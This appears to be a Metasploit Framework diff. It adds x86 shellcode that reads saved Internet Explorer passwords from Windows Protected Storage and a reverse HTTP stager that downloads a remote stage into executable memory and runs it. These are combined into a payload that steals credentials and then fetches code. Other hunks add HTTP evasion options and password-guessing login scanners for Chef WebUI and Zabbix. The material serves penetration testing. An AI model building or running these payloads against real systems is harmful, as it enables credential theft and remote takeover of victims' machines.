push ecx ; arg2: pTypeGUID
push 1 ; arg3: 1
mov edx, [edx] ; load base address of EnumPStoreTypes
push edx ; push base address of EnumPStoreTypes (this)
mov edx, [edx] ; get function address of EnumPStoreTypes::raw_Next in pstorec.dll
mov edx, [edx+0x0C] ; &RawNext = *(*(*(&EnumPStoreTypes))+0x0C)
call edx ; call EnumPStoreTypes::raw_Next
;
mov eax, [esp+8] ;
mov eax, [eax] ;
;
test eax, eax ;
jz no_auth ; no Password found
cmp edi, eax ; do this until TypeGUID indicates "IE Password Protected sites"
jne EnumPStoreTypes.raw_Next
;
PStore.EnumSubtypes: ; returns address to EnumSubtypes () in pEnumSubtypes ()
pop eax ; pop pPstore
pop edx ; pop pEnumPstoreTypes
pop ecx ; pop pTypeGUID
pop edi ; pop pEnumSubtypes
push edi ; restore stack
push ecx ;
push edx ;
push eax ;
;
push edi ; arg1: pEnumSubtypes
push 0 ; arg2: NULL
push ecx ; arg3: pTypeGUID
push 0 ; arg4: NULL
mov eax, [eax] ; load base address of PStore in eax
push eax ; push base address of PStore (this)
mov edx, [eax] ; get function address of IPStore::EnumSubtypes in pstorec.dll
mov edx, [edx+0x3C] ; &Pstore.EnumSubTypes() = *(*(*(&PStore))+0x3C)
call edx ; call IPStore::EnumSubtypes
;
EnumSubtypes.raw_Next:
mov eax, [esp+0x0C] ; pop pEnumSubtypes
mov edx, [esp+0x10] ; pop psubTypeGUID
;
push 0 ; arg1: NULL
push edx ; arg2: psubTypeGUID
push 1 ; arg3: 1
mov eax, [eax] ; load base address of EnumSubtypes in eax
push eax ; push base address of EnumSubtypes (this)
mov edx, [eax] ; get function address of raw_Next in pstorec.dll
mov edx, [edx+0x0C] ; &(EnumSubtypes.raw_Next) = *(*(&EnumSubtypes)+0x0C)
call edx ; call EnumSubtypes.raw_Next
;
PStore.EnumItems:
pop eax ; pop pPstore
pop ecx ;
pop edx ; pop pTypeGUID
push edx ; restore stack
push ecx ;
push eax ;
mov ecx, [esp+0x10] ; pop psubTypeGUID
mov edi, [esp+0x14] ; pop pspEnumItems
;
push edi ; arg1: pspEnumItems
push 0 ; arg2: NULL
push ecx ; arg3: psubTypeGUID
push edx ; arg4: pTyoeGUID
push 0 ; arg5: NULL
mov eax, [eax] ; load base address of PStore in eax
push eax ; push base address of PStore (this)
mov edx, [eax] ; get function address of IPStore::Enumitems in pstorec.dll
mov edx, [edx+0x54] ;
call edx ; call IPStore::Enumitems
;
spEnumItems.raw_Next:
mov eax, [esp+0x14] ; pop pspEnumItems
mov ecx, [esp+0x18] ; pop pitemName
;
push 0 ; arg1: NULL
push ecx ; arg2: pitemName
push 1 ; arg3: 1
mov eax, [eax] ; load base address of spEnumItems in eax
push eax ; push base addres of spEnumItems (this)
mov edx, [eax] ; get function address of raw_Next in pstorec.dll
mov edx, [edx+0x0C] ;
call edx ;
;
PStore.ReadItem:
pop eax ; pop pPStore
push eax ;
;
push 0 ; arg1: NULL
push 0 ; arg2: NULL (stiinfo not needed)
mov ecx, [esp+0x24] ; pop ppsData (8. Element)
push ecx ; arg3: ppsData
mov ecx, [esp+0x2C] ; pop ppsDataLen
push ecx ; arg4: ppsDataLen (not needed?)
mov ecx, [esp+0x28] ; pop pitemName (7. Element)
mov ecx, [ecx] ;
push ecx ; arg5: pitemName
mov ecx, [esp+0x24] ; pop psubTypeGUID (5. Element)
push ecx ; arg6: psubTypeGUID
mov ecx, [esp+0x20] ; pop pTypeGUID (3. Element)
push ecx ; arg7: pTypeGUID
push 0 ; arg8: NULL
mov eax, [eax] ; load base address of PStore in eax
push eax ; push base addres of PStore (this)
mov edx, [eax] ; get function address of IPStore::ReadItem in pstorec.dll
mov edx, [edx+0x44] ;
call edx ;
;
split_user_pass:
mov eax, [esp+0x1C] ; eax = ppsData
mov eax, [eax] ; now eax contains pointer to "user:pass"
push eax ; push pointer to user
mov cl, byte 0x3a ; load ":" in ecx
mov dl, byte [eax] ; load first byte of ppsData in edx
cmp cl, dl ;
jz no_auth ;
loop_split: ;
inc eax ;
mov dl, byte [eax] ;
cmp cl, dl ;
jnz loop_split ; increase eax until it points to ":"
;
mov [eax], byte 0x00 ; replace ":" with 00
inc eax ;
push eax ; push pointer to pass
;
no_auth:

View File

@ -0,0 +1,157 @@
;-----------------------------------------------------------------------------;
; Author: HD Moore
; Compatible: Confirmed Windows 7, Windows 2008 Server, Windows XP SP1, Windows SP3, Windows 2000
; Known Bugs: Incompatible with Windows NT 4.0, buggy on Windows XP Embedded (SP1)
; Version: 1.0
;-----------------------------------------------------------------------------;
[BITS 32]
; Input: EBP must be the address of 'api_call'.
; Top and second top element of stack can be pointer to null-terminated
; password and pointer to null-terminated username of a proxy server to connect to.
; Output: EDI will be the socket for the connection to the server
; Clobbers: EAX, ESI, EDI, ESP will also be modified (-0x1A0)
load_wininet:
push 0x0074656e ; Push the bytes 'wininet',0 onto the stack.
push 0x696e6977 ; ...
push esp ; Push a pointer to the "wininet" string on the stack.
push 0x0726774C ; hash( "kernel32.dll", "LoadLibraryA" )
call ebp ; LoadLibraryA( "wininet" )
internetopen:
xor edi,edi
push edi ; DWORD dwFlags
push edi ; LPCTSTR lpszProxyBypass
push edi ; LPCTSTR lpszProxyName
push edi ; DWORD dwAccessType (PRECONFIG = 0)
push byte 0 ; NULL pointer
push esp ; LPCTSTR lpszAgent ("\x00")
push 0xA779563A ; hash( "wininet.dll", "InternetOpenA" )
call ebp
jmp short dbl_get_server_host
internetconnect:
pop ebx ; Save the hostname pointer
xor edi, edi
push edi ; DWORD_PTR dwContext (NULL)
push edi ; dwFlags
push byte 3 ; DWORD dwService (INTERNET_SERVICE_HTTP)
push ecx ; password
push edx ; username
push dword 4444 ; PORT
push ebx ; HOSTNAME
push eax ; HINTERNET hInternet
push 0xC69F8957 ; hash( "wininet.dll", "InternetConnectA" )
call ebp
jmp get_server_uri
httpopenrequest:
pop ecx
xor edx, edx ; NULL
push edx ; dwContext (NULL)
push (0x80000000 | 0x04000000 | 0x00200000 | 0x00000200) ; dwFlags
;0x80000000 | ; INTERNET_FLAG_RELOAD
;0x04000000 | ; INTERNET_NO_CACHE_WRITE
;0x00200000 | ; INTERNET_FLAG_NO_AUTO_REDIRECT
;0x00000200 ; INTERNET_FLAG_NO_UI
push edx ; accept types
push edx ; referrer
push edx ; version
push ecx ; url
push edx ; method
push eax ; hConnection
push 0x3B2E55EB ; hash( "wininet.dll", "HttpOpenRequestA" )
call ebp
mov esi, eax ; hHttpRequest
set_retry:
push byte 0x10
pop ebx
httpsendrequest:
xor edi, edi
push edi ; optional length
push edi ; optional
push edi ; dwHeadersLength
push edi ; headers
push esi ; hHttpRequest
push 0x7B18062D ; hash( "wininet.dll", "HttpSendRequestA" )
call ebp
test eax,eax
jnz short allocate_memory
try_it_again:
dec ebx
jz failure
jmp short httpsendrequest
dbl_get_server_host:
jmp get_server_host
get_server_uri:
call httpopenrequest
server_uri:
db "/12345", 0x00
failure:
push 0x56A2B5F0 ; hardcoded to exitprocess for size
call ebp
allocate_memory:
push byte 0x40 ; PAGE_EXECUTE_READWRITE
push 0x1000 ; MEM_COMMIT
push 0x00400000 ; Stage allocation (8Mb ought to do us)
push edi ; NULL as we dont care where the allocation is (zero'd from the prev function)
push 0xE553A458 ; hash( "kernel32.dll", "VirtualAlloc" )
call ebp ; VirtualAlloc( NULL, dwLength, MEM_COMMIT, PAGE_EXECUTE_READWRITE );
download_prep:
xchg eax, ebx ; place the allocated base address in ebx
push ebx ; store a copy of the stage base address on the stack
push ebx ; temporary storage for bytes read count
mov edi, esp ; &bytesRead
download_more:
push edi ; &bytesRead
push 8192 ; read length
push ebx ; buffer
push esi ; hRequest
push 0xE2899612 ; hash( "wininet.dll", "InternetReadFile" )
call ebp
test eax,eax ; download failed? (optional?)
jz failure
mov eax, [edi]
add ebx, eax ; buffer += bytes_received
test eax,eax ; optional?
jnz download_more ; continue until it returns 0
pop eax ; clear the temporary storage
execute_stage:
ret ; dive into the stored stage address
get_server_host:
;//////////////////////////////////
;//get proxy credentials from stack
;//////////////////////////////////
get_proxy_auth:
pop esi ; delete the top 3 stack elements as they are
pop esi ; garbage from this block
pop esi
pop ecx ; save pointer to password in ecx
pop edx ; save pointer to username in edx
;/////////////////////////////////////////////////
; we use the credentials only in internetconnect//
;/////////////////////////////////////////////////
call internetconnect
server_host:

View File

@ -0,0 +1,18 @@
;-----------------------------------------------------------------------------;
; Author: Unknown
; Compatible: Windows Server 2003, IE Versions 4 to 6
; Build: >build.py stager_reverse_http_proxy_pstore
;-----------------------------------------------------------------------------;
[BITS 32]
[ORG 0]
cld ; Clear the direction flag.
call start ; Call start, this pushes the address of 'api_call' onto the stack.
%include "./src/block/block_api.asm"
start: ;
pop ebp ; pop off the address of 'api_call' for calling later.
%include "./src/block/block_get_pstore_creds.asm"
%include "./src/block/block_reverse_http_use_proxy_creds.asm"
; By here we will have performed the reverse_tcp connection and EDI will be our socket.

View File

@ -36,6 +36,7 @@ Feature: Help command
pushm Pushes the active or list of modules onto the module stack
quit Exit the console
reload_all Reloads all modules from all defined module paths
rename_job Rename a job
resource Run the commands stored in a file
route Route traffic through a session
save Saves the active datastores

View File

@ -77,8 +77,7 @@ module Metasploit
begin
response = sock.timed_read(1024, self.login_timeout)
rescue Timeout::Error
#vprint_error("AFP #{rhost}:#{rport} Login timeout (AFP server delay response for 20 - 22 seconds after 7 incorrect logins)")
return :connection_error
raise RuntimeError, "AFP Login timeout (AFP server delay response for 20 - 22 seconds after 7 incorrect logins)"
end
flags, command, request_id, error_code, length, reserved = parse_header(response)
@ -87,8 +86,7 @@ module Metasploit
when -5001 #kFPAuthContinue
return parse_login_response_add_send_login_count(response, {:p => p, :g => g, :ra => ra, :ma => ma,
:password => pass, :user => user})
when -5023 #kFPUserNotAuth (User dosen't exists)
#print_status("AFP #{rhost}:#{rport} User #{user} dosen't exists")
when -5023 #kFPUserNotAuth (User dosen't exists)
return :skip_user
else
return :connection_error
@ -123,8 +121,7 @@ module Metasploit
begin
response = sock.timed_read(1024, self.login_timeout)
rescue Timeout::Error
vprint_error("AFP #{rhost}:#{rport} Login timeout (AFP server delay response for 20 - 22 seconds after 7 incorrect logins)")
return :connection_error
raise RuntimeError, "AFP Login timeout (AFP server delay response for 20 - 22 seconds after 7 incorrect logins)"
end
flags, command, request_id, error_code, length, reserved = parse_header(response)
@ -180,8 +177,7 @@ module Metasploit
begin
response = sock.timed_read(1024, self.login_timeout)
rescue Timeout::Error
vprint_error("AFP #{rhost}:#{rport} Login timeout (AFP server delay response for 20 - 22 seconds after 7 incorrect logins)")
return :connection_error
raise RuntimeError, "AFP Login timeout (AFP server delay response for 20 - 22 seconds after 7 incorrect logins)"
end
flags, command, request_id, error_code, length, reserved = parse_header(response)
@ -201,7 +197,7 @@ module Metasploit
parsed_data = {}
flags, command, request_id, error_code, length, reserved = parse_header(response)
raise "AFP #{rhost}:#{rport} Server response with error" if error_code != 0
raise RuntimeError, "AFP Server response with error" if error_code != 0
body = get_body(response, length)
machine_type_offset, afp_versions_offset, uam_count_offset, icon_offset, server_flags =
body.unpack('nnnnn')
@ -243,7 +239,7 @@ module Metasploit
def get_body(packet, body_length)
body = packet[16..body_length + 15]
raise "AFP #{rhost}:#{rport} Invalid body length" if body.length != body_length
raise RuntimeError, "AFP Invalid body length" if body.length != body_length
return body
end
@ -291,7 +287,7 @@ module Metasploit
when 7 # IPv6 address (16 bytes) followed by a two-byte port number
parsed_addreses << "[#{IPAddr.ntop(address[1..16])}]:#{address[17..18].unpack("n").first}"
else # Something wrong?
raise "Error parsing network addresses"
raise RuntimeError, "Error parsing network addresses"
end
end
return parsed_addreses

View File

@ -31,7 +31,12 @@ module Metasploit
rescue Rex::ConnectionError, EOFError, Timeout::Error
status = Metasploit::Model::Login::Status::UNABLE_TO_CONNECT
else
success = login(credential.public, credential.private)
begin
success = login(credential.public, credential.private)
rescue RuntimeError => e
return {:status => Metasploit::Model::Login::Status::UNABLE_TO_CONNECT, :proof => e.message}
end
status = (success == true) ? Metasploit::Model::Login::Status::SUCCESSFUL : Metasploit::Model::Login::Status::INCORRECT
end

View File

@ -17,10 +17,10 @@ module Metasploit
# (see Base#attempt_login)
def attempt_login(credential)
http_client = Rex::Proto::Http::Client.new(
host, port, {}, ssl, ssl_version, proxies
host, port, {'Msf' => framework, 'MsfExploit' => framework_module}, ssl, ssl_version, proxies
)
http_client = config_client(http_client)
configure_http_client(http_client)
result_opts = {
credential: credential,

View File

@ -34,7 +34,8 @@ module Metasploit
result_opts[:service_name] = 'http'
end
begin
cli = Rex::Proto::Http::Client.new(host, port, {}, ssl, ssl_version)
cli = Rex::Proto::Http::Client.new(host, port, {'Msf' => framework, 'MsfExploit' => framework_module}, ssl, ssl_version)
configure_http_client(cli)
cli.connect
req = cli.request_cgi({
'method'=>'POST',

View File

@ -0,0 +1,144 @@
require 'metasploit/framework/login_scanner/http'
module Metasploit
module Framework
module LoginScanner
# The ChefWebUI HTTP LoginScanner class provides methods to authenticate to Chef WebUI
class ChefWebUI < HTTP
DEFAULT_PORT = 80
PRIVATE_TYPES = [ :password ]
# @!attribute session_name
# @return [String] Cookie name for session_id
attr_accessor :session_name
# @!attribute session_id
# @return [String] Cookie value
attr_accessor :session_id
# Decides which login routine and returns the results
#
# @param credential [Metasploit::Framework::Credential] The credential object
# @return [Result]
def attempt_login(credential)
result_opts = { credential: credential }
begin
status = try_login(credential)
result_opts.merge!(status)
rescue ::EOFError, Rex::ConnectionError, ::Timeout::Error => e
result_opts.merge!(status: Metasploit::Model::Login::Status::UNABLE_TO_CONNECT, proof: e)
end
Result.new(result_opts)
end
# (see Base#check_setup)
def check_setup
begin
res = send_request({'uri' => normalize_uri('/users/login')})
return "Connection failed" if res.nil?
if res.code != 200
return "Unexpected HTTP response code #{res.code} (is this really Chef WebUI?)"
end
if res.body.to_s !~ /<title>Chef Server<\/title>/
return "Unexpected HTTP body (is this really Chef WebUI?)"
end
rescue ::EOFError, Errno::ETIMEDOUT, Rex::ConnectionError, ::Timeout::Error
return "Unable to connect to target"
end
false
end
# Sends a HTTP request with Rex
#
# @param (see Rex::Proto::Http::Resquest#request_raw)
# @return [Rex::Proto::Http::Response] The HTTP response
def send_request(opts)
cli = Rex::Proto::Http::Client.new(host, port, {'Msf' => framework, 'MsfExploit' => self}, ssl, ssl_version, proxies)
configure_http_client(cli)
cli.connect
req = cli.request_raw(opts)
res = cli.send_recv(req)
# Save the session ID cookie
if res && res.get_cookies =~ /(_\w+_session)=([^;$]+)/i
self.session_name = $1
self.session_id = $2
end
res
end
# Sends a login request
#
# @param credential [Metasploit::Framework::Credential] The credential object
# @return [Rex::Proto::Http::Response] The HTTP auth response
def try_credential(csrf_token, credential)
data = "utf8=%E2%9C%93" # ✓
data << "&authenticity_token=#{Rex::Text.uri_encode(csrf_token)}"
data << "&name=#{Rex::Text.uri_encode(credential.public)}"
data << "&password=#{Rex::Text.uri_encode(credential.private)}"
data << "&commit=login"
opts = {
'uri' => normalize_uri('/users/login_exec'),
'method' => 'POST',
'data' => data,
'headers' => {
'Content-Type' => 'application/x-www-form-urlencoded',
'Cookie' => "#{self.session_name}=#{self.session_id}"
}
}
send_request(opts)
end
# Tries to login to Chef WebUI
#
# @param credential [Metasploit::Framework::Credential] The credential object
# @return [Hash]
# * :status [Metasploit::Model::Login::Status]
# * :proof [String] the HTTP response body
def try_login(credential)
# Obtain a CSRF token first
res = send_request({'uri' => normalize_uri('/users/login')})
unless (res && res.code == 200 && res.body =~ /input name="authenticity_token" type="hidden" value="([^"]+)"/m)
return {:status => Metasploit::Model::Login::Status::UNTRIED, :proof => res.body}
end
csrf_token = $1
res = try_credential(csrf_token, credential)
if res && res.code == 302
opts = {
'uri' => normalize_uri("/users/#{credential.public}/edit"),
'method' => 'GET',
'headers' => {
'Cookie' => "#{self.session_name}=#{self.session_id}"
}
}
res = send_request(opts)
if (res && res.code == 200 && res.body.to_s =~ /New password for the User/)
return {:status => Metasploit::Model::Login::Status::SUCCESSFUL, :proof => res.body}
end
end
{:status => Metasploit::Model::Login::Status::INCORRECT, :proof => res.body}
end
end
end
end
end

View File

@ -61,7 +61,8 @@ module Metasploit
# @param (see Rex::Proto::Http::Resquest#request_raw)
# @return [Rex::Proto::Http::Response] The HTTP response
def send_request(opts)
cli = Rex::Proto::Http::Client.new(host, port, {}, ssl, ssl_version, proxies)
cli = Rex::Proto::Http::Client.new(host, port, {'Msf' => framework, 'MsfExploit' => framework_module}, ssl, ssl_version, proxies)
configure_http_client(cli)
cli.connect
req = cli.request_raw(opts)
res = cli.send_recv(req)

View File

@ -37,6 +37,122 @@ module Metasploit
# @return [String] the Virtual Host name for the target Web Server
attr_accessor :vhost
# @!attribute evade_uri_encode_mode
# @return [String] The type of URI encoding to use
attr_accessor :evade_uri_encode_mode
# @!attribute evade_uri_full_url
# @return [Boolean] Whether to use the full URL for all HTTP requests
attr_accessor :evade_uri_full_url
# @!attribute evade_pad_method_uri_count
# @return [Fixnum] How many whitespace characters to use between the method and uri
attr_accessor :evade_pad_method_uri_count
# @!attribute evade_pad_uri_version_count
# @return [Fixnum] How many whitespace characters to use between the uri and version
attr_accessor :evade_pad_uri_version_count
# @!attribute evade_pad_method_uri_type
# @return [String] What type of whitespace to use between the method and uri
attr_accessor :evade_pad_method_uri_type
# @!attribute evade_pad_uri_version_type
# @return [String] What type of whitespace to use between the uri and version
attr_accessor :evade_pad_uri_version_type
# @!attribute evade_method_random_valid
# @return [Boolean] Whether to use a random, but valid, HTTP method for request
attr_accessor :evade_method_random_valid
# @!attribute evade_method_random_invalid
# @return [Boolean] Whether to use a random invalid, HTTP method for request
attr_accessor :evade_method_random_invalid
# @!attribute evade_method_random_case
# @return [Boolean] Whether to use random casing for the HTTP method
attr_accessor :evade_method_random_case
# @!attribute evade_uri_dir_self_reference
# @return [Boolean] Whether to insert self-referential directories into the uri
attr_accessor :evade_uri_dir_self_reference
# @!attribute evade_uri_dir_fake_relative
# @return [Boolean] Whether to insert fake relative directories into the uri
attr_accessor :evade_uri_dir_fake_relative
# @!attribute evade_uri_use_backslashes
# @return [Boolean] Whether to use back slashes instead of forward slashes in the uri
attr_accessor :evade_uri_use_backslashes
# @!attribute evade_pad_fake_headers
# @return [Boolean] Whether to insert random, fake headers into the HTTP request
attr_accessor :evade_pad_fake_headers
# @!attribute evade_pad_fake_headers_count
# @return [Fixnum] How many fake headers to insert into the HTTP request
attr_accessor :evade_pad_fake_headers_count
# @!attribute evade_pad_get_params
# @return [Boolean] Whether to insert random, fake query string variables into the request
attr_accessor :evade_pad_get_params
# @!attribute evade_pad_get_params_count
# @return [Fixnum] How many fake query string variables to insert into the request
attr_accessor :evade_pad_get_params_count
# @!attribute evade_pad_post_params
# @return [Boolean] Whether to insert random, fake post variables into the request
attr_accessor :evade_pad_post_params
# @!attribute evade_pad_post_params_count
# @return [Fixnum] How many fake post variables to insert into the request
attr_accessor :evade_pad_post_params_count
# @!attribute evade_uri_fake_end
# @return [Boolean] Whether to add a fake end of URI (eg: /%20HTTP/1.0/../../)
attr_accessor :evade_uri_fake_end
# @!attribute evade_uri_fake_params_start
# @return [Boolean] Whether to add a fake start of params to the URI (eg: /%3fa=b/../)
attr_accessor :evade_uri_fake_params_start
# @!attribute evade_header_folding
# @return [Boolean] Whether to enable folding of HTTP headers
attr_accessor :evade_header_folding
# @!attribute ntlm_use_ntlmv2_session
# @return [Boolean] Whether to activate the 'Negotiate NTLM2 key' flag, forcing the use of a NTLMv2_session
attr_accessor :ntlm_use_ntlmv2_session
# @!attribute ntlm_use_ntlmv2
# @return [Boolean] Whether to use NTLMv2 instead of NTLM2_session when 'Negotiate NTLM2' is enabled
attr_accessor :ntlm_use_ntlmv2
# @!attribute ntlm_send_lm
# @return [Boolean] Whether to always send the LANMAN response (except when NTLMv2_session is specified)
attr_accessor :ntlm_send_lm
# @!attribute ntlm_send_ntlm
# @return [Boolean] Whether to activate the 'Negotiate NTLM key' flag, indicating the use of NTLM responses
attr_accessor :ntlm_send_ntlm
# @!attribute ntlm_send_spn
# @return [Boolean] Whether to send an avp of type SPN in the NTLMv2 client blob.
attr_accessor :ntlm_send_spn
# @!attribute ntlm_use_lm_key
# @return [Boolean] Activate the 'Negotiate Lan Manager Key' flag, using the LM key when the LM response is sent
attr_accessor :ntlm_use_lm_key
# @!attribute ntlm_domain
# @return [String] The NTLM domain to use during authentication
attr_accessor :ntlm_domain
# @!attribute digest_auth_iis
# @return [Boolean] Whether to conform to IIS digest authentication mode.
attr_accessor :digest_auth_iis
validates :uri, presence: true, length: { minimum: 1 }
@ -47,7 +163,7 @@ module Metasploit
# (see Base#check_setup)
def check_setup
http_client = Rex::Proto::Http::Client.new(
host, port, {}, ssl, ssl_version, proxies
host, port, {'Msf' => framework, 'MsfExploit' => framework_module}, ssl, ssl_version, proxies
)
request = http_client.request_cgi(
'uri' => uri,
@ -55,7 +171,7 @@ module Metasploit
)
begin
# Use _send_recv instead of send_recv to skip automatiu
# Use _send_recv instead of send_recv to skip automatic
# authentication
response = http_client._send_recv(request)
rescue ::EOFError, Errno::ETIMEDOUT, Rex::ConnectionError, ::Timeout::Error
@ -77,7 +193,6 @@ module Metasploit
# login with.
# @return [Result] A Result object indicating success or failure
def attempt_login(credential)
ssl = false if ssl.nil?
result_opts = {
credential: credential,
@ -95,11 +210,11 @@ module Metasploit
end
http_client = Rex::Proto::Http::Client.new(
host, port, {}, ssl, ssl_version,
host, port, {'Msf' => framework, 'MsfExploit' => framework_module}, ssl, ssl_version,
proxies, credential.public, credential.private
)
http_client = config_client(http_client)
configure_http_client(http_client)
if credential.realm
http_client.set_config('domain' => credential.realm)
@ -127,12 +242,53 @@ module Metasploit
private
def config_client(client)
client.set_config(
'vhost' => vhost || host,
'agent' => user_agent
# This method is responsible for mapping the caller's datastore options to the
# Rex::Proto::Http::Client configuration parameters.
def configure_http_client(http_client)
http_client.set_config(
'vhost' => vhost || host,
'agent' => user_agent
)
client
possible_params = {
'uri_encode_mode' => evade_uri_encode_mode,
'uri_full_url' => evade_uri_full_url,
'pad_method_uri_count' => evade_pad_method_uri_count,
'pad_uri_version_count' => evade_pad_uri_version_count,
'pad_method_uri_type' => evade_pad_method_uri_type,
'pad_uri_version_type' => evade_pad_uri_version_type,
'method_random_valid' => evade_method_random_valid,
'method_random_invalid' => evade_method_random_invalid,
'method_random_case' => evade_method_random_case,
'uri_dir_self_reference' => evade_uri_dir_self_reference,
'uri_dir_fake_relative' => evade_uri_dir_fake_relative,
'uri_use_backslashes' => evade_uri_use_backslashes,
'pad_fake_headers' => evade_pad_fake_headers,
'pad_fake_headers_count' => evade_pad_fake_headers_count,
'pad_get_params' => evade_pad_get_params,
'pad_get_params_count' => evade_pad_get_params_count,
'pad_post_params' => evade_pad_post_params,
'pad_post_params_count' => evade_pad_post_params_count,
'uri_fake_end' => evade_uri_fake_end,
'uri_fake_params_start' => evade_uri_fake_params_start,
'header_folding' => evade_header_folding,
'usentlm2_session' => ntlm_use_ntlmv2_session,
'use_ntlmv2' => ntlm_use_ntlmv2,
'send_lm' => ntlm_send_lm,
'send_ntlm' => ntlm_send_ntlm,
'SendSPN' => ntlm_send_spn,
'UseLMKey' => ntlm_use_lm_key,
'domain' => ntlm_domain,
'DigestAuthIIS' => digest_auth_iis
}
# Set the parameter only if it is not nil
possible_params.each_pair do |k,v|
next if v.nil?
http_client.set_config(k => v)
end
http_client
end
# This method sets the sane defaults for things
@ -157,9 +313,21 @@ module Metasploit
self.ssl = true
end
if self.ssl.nil?
self.ssl = false
end
nil
end
# Combine the base URI with the target URI in a sane fashion
#
# @param [String] The target URL
# @return [String] the final URL mapped against the base
def normalize_uri(target_uri)
(self.uri.to_s + "/" + target_uri.to_s).gsub(/\/+/, '/')
end
end
end
end

View File

@ -10,10 +10,9 @@ module Metasploit
# (see Base#attempt_login)
def attempt_login(credential)
http_client = Rex::Proto::Http::Client.new(
host, port, {}, ssl, ssl_version, proxies
host, port, {'Msf' => framework, 'MsfExploit' => framework_module}, ssl, ssl_version, proxies
)
http_client = config_client(http_client)
configure_http_client(http_client)
result_opts = {
credential: credential,

View File

@ -33,7 +33,8 @@ module Metasploit
result_opts[:service_name] = 'http'
end
begin
cli = Rex::Proto::Http::Client.new(host, port, {}, ssl, ssl_version, proxies)
cli = Rex::Proto::Http::Client.new(host, port, {'Msf' => framework, 'MsfExploit' => framework_module}, ssl, ssl_version, proxies)
configure_http_client(cli)
cli.connect
req = cli.request_cgi({
'method'=>'POST',

View File

@ -35,7 +35,8 @@ module Metasploit
begin
cred = Rex::Text.uri_encode(credential.private)
body = "data%5BLogin%5D%5Bowner_name%5D=admin&data%5BLogin%5D%5Bowner_passwd%5D=#{cred}"
cli = Rex::Proto::Http::Client.new(host, port, {}, ssl, ssl_version)
cli = Rex::Proto::Http::Client.new(host, port, {'Msf' => framework, 'MsfExploit' => framework_module}, ssl, ssl_version)
configure_http_client(cli)
cli.connect
req = cli.request_cgi(
'method' => method,

View File

@ -21,7 +21,7 @@ module Metasploit
req_opts = {
'method' => 'POST',
'uri' => '/proxy/ssllogin',
'uri' => uri,
'vars_post' => {
'redirecturl' => '',
'redirectquerystring' => '',
@ -33,7 +33,8 @@ module Metasploit
res = nil
begin
cli = Rex::Proto::Http::Client.new(host, port, {}, ssl, ssl_version, proxies)
cli = Rex::Proto::Http::Client.new(host, port, {'Msf' => framework, 'MsfExploit' => framework_module}, ssl, ssl_version, proxies)
configure_http_client(cli)
cli.connect
req = cli.request_cgi(req_opts)
res = cli.send_recv(req)

View File

@ -10,8 +10,9 @@ module Metasploit
# (see Base#attempt_login)
def attempt_login(credential)
http_client = Rex::Proto::Http::Client.new(
host, port, {}, ssl, ssl_version, proxies
host, port, {'Msf' => framework, 'MsfExploit' => framework_module}, ssl, ssl_version, proxies
)
configure_http_client(http_client)
result_opts = {
credential: credential,

View File

@ -0,0 +1,137 @@
require 'metasploit/framework/login_scanner/http'
module Metasploit
module Framework
module LoginScanner
# The Zabbix HTTP LoginScanner class provides methods to do login routines
# for Zabbix 2.4 and 2.2
class Zabbix < HTTP
DEFAULT_PORT = 80
PRIVATE_TYPES = [ :password ]
# @!attribute version
# @return [String] Product version
attr_accessor :version
# @!attribute zsession
# @return [String] Cookie session
attr_accessor :zsession
# Decides which login routine and returns the results
#
# @param credential [Metasploit::Framework::Credential] The credential object
# @return [Result]
def attempt_login(credential)
result_opts = { credential: credential }
begin
status = try_login(credential)
result_opts.merge!(status)
rescue ::EOFError, Rex::ConnectionError, ::Timeout::Error => e
result_opts.merge!(status: Metasploit::Model::Login::Status::UNABLE_TO_CONNECT, proof: e)
end
Result.new(result_opts)
end
# (see Base#check_setup)
def check_setup
begin
res = send_request({'uri' => normalize_uri('/')})
return "Connection failed" if res.nil?
if res.code != 200
return "Unexpected HTTP response code #{res.code} (is this really Zabbix?)"
end
if res.body.to_s !~ /Zabbix ([^\s]+) Copyright .* by Zabbix/m
return "Unexpected HTTP body (is this really Zabbix?)"
end
self.version = $1
rescue ::EOFError, Errno::ETIMEDOUT, Rex::ConnectionError, ::Timeout::Error
return "Unable to connect to target"
end
false
end
# Sends a HTTP request with Rex
#
# @param (see Rex::Proto::Http::Resquest#request_raw)
# @return [Rex::Proto::Http::Response] The HTTP response
def send_request(opts)
cli = Rex::Proto::Http::Client.new(host, port, {'Msf' => framework, 'MsfExploit' => self}, ssl, ssl_version, proxies)
configure_http_client(cli)
cli.connect
req = cli.request_raw(opts)
res = cli.send_recv(req)
# Found a cookie? Set it. We're going to need it.
if res && res.get_cookies =~ /zbx_sessionid=(\w*);/i
self.zsession = $1
end
res
end
# Sends a login request
#
# @param credential [Metasploit::Framework::Credential] The credential object
# @return [Rex::Proto::Http::Response] The HTTP auth response
def try_credential(credential)
data = "request="
data << "&name=#{Rex::Text.uri_encode(credential.public)}"
data << "&password=#{Rex::Text.uri_encode(credential.private)}"
data << "&autologin=1"
data << "&enter=Sign%20in"
opts = {
'uri' => normalize_uri('index.php'),
'method' => 'POST',
'data' => data,
'headers' => {
'Content-Type' => 'application/x-www-form-urlencoded'
}
}
send_request(opts)
end
# Tries to login to Zabbix
#
# @param credential [Metasploit::Framework::Credential] The credential object
# @return [Hash]
# * :status [Metasploit::Model::Login::Status]
# * :proof [String] the HTTP response body
def try_login(credential)
res = try_credential(credential)
if res && res.code == 302
opts = {
'uri' => normalize_uri('profile.php'),
'method' => 'GET',
'headers' => {
'Cookie' => "zbx_sessionid=#{self.zsession}"
}
}
res = send_request(opts)
if (res && res.code == 200 && res.body.to_s =~ /<title>Zabbix .*: User profile<\/title>/)
return {:status => Metasploit::Model::Login::Status::SUCCESSFUL, :proof => res.body}
end
end
{:status => Metasploit::Model::Login::Status::INCORRECT, :proof => res.body}
end
end
end
end
end

View File

@ -51,8 +51,7 @@ module Metasploit
# Send a prelogin packet and check that encryption is not enabled
if mssql_prelogin() != ENCRYPT_NOT_SUP
print_error("Encryption is not supported")
return false
raise ::Rex::ConnectionError, "Encryption is not supported"
end
if windows_authentication

View File

@ -25,6 +25,8 @@ module Buffer
when 'raw'
when 'num'
buf = Rex::Text.to_num(buf)
when 'hex'
buf = Rex::Text.to_hex(buf, '')
when 'dword', 'dw'
buf = Rex::Text.to_dword(buf)
when 'python', 'py'
@ -65,7 +67,7 @@ module Buffer
def self.comment(buf, fmt = "ruby")
case fmt
when 'raw'
when 'num', 'dword', 'dw'
when 'num', 'dword', 'dw', 'hex'
buf = Rex::Text.to_js_comment(buf)
when 'ruby', 'rb', 'python', 'py'
buf = Rex::Text.to_ruby_comment(buf)
@ -98,6 +100,7 @@ module Buffer
'csharp',
'dw',
'dword',
'hex',
'java',
'js_be',
'js_le',

View File

